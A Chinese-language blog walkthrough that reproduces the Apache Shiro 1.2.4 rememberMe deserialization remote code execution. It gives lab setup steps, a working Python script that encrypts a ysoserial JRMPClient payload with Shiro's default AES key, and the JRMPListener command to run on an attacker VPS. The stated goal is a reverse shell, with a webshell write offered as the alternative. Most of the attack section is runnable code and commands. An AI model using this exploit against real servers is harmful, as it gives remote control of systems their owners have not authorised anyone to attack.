Apache Shiro反序列化远程代码执行复现
影响版本
Apache Shiro <= 1.2.4
利用组件
org.apache.commons中的commons-collections4(理论上commons-collections2也有)
利用位置
任意http请求中cookie处rememberMe参数
![](https://img.haomeiwen.com/i5350990/e028ac1bdc95139c.png)
环境搭建难点
Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点
1.机器需要安装mvn、svn命令
2.jdk建议为1.6
3.maven版本最好为3.1.1
解决上面的环境需求,基本上不会编译失败。
如果你实在是编译失败到没有信心,可以使用我提供的war包:
https://pan.baidu.com/s/1dSHR21IQbrLHpaSQ1TI23A 提取码: zg4h
部署war包很简单,只需要将其放到tomcat中的webapps目录下,它将会自动解压,当然它的默认名称是samples-web-1.2.4,为了访问方便我们可以重命名为shiro
![](https://img.haomeiwen.com/i5350990/30003f1eaefcead3.png)
利用步骤
利用环境准备
![](https://img.haomeiwen.com/i5350990/0d747fb8c42b27c3.png)
你需要在公网VPS上放置一个ysoserial,配合使用以下python脚本
shiro_exp_payload.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
执行命令
1.先执行反弹shell的命令
2.在vps上执行如下命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹shell的命令"
这里的命令,需要使用Java Runtime配合bash编码,CommonsCollections4也可以换成CommonsCollections2
3.使用python脚本
python shiro_exp_payload.py vpsip:1099
python脚本将生成cookie,你将cookie带入http请求中即可反弹shell
例如下图
![](https://img.haomeiwen.com/i5350990/af55bcefdf7aa88c.png)
![](https://img.haomeiwen.com/i5350990/db5eb616f96b46e5.png)
![](https://img.haomeiwen.com/i5350990/601a031fe410e355.png)
(我这里给出的是反弹shell,当然你可以利用echo写入shell什么的,只需要反弹shell的命令换成写shell的命令)
写shell的路径可根据下图参考
![](https://img.haomeiwen.com/i5350990/8facd64d1a2909e9.png)
![](https://img.haomeiwen.com/i5350990/09a0bd5efa9e4cd1.png)